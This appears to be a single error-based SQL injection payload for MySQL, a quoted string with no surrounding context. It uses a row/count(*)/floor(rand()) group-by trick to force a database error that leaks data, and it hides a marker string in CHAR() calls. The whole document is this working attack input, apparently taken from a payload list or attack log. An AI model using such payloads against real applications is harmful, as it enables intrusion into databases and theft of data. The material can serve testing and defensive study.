"(select 1 and row(1,1)>(select count(*),concat(concat(CHAR(52),CHAR(67),CHAR(117),CHAR(99),CHAR(113),CHAR(65),CHAR(80),CHAR(49),CHAR(75),CHAR(110),CHAR(52)),floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))"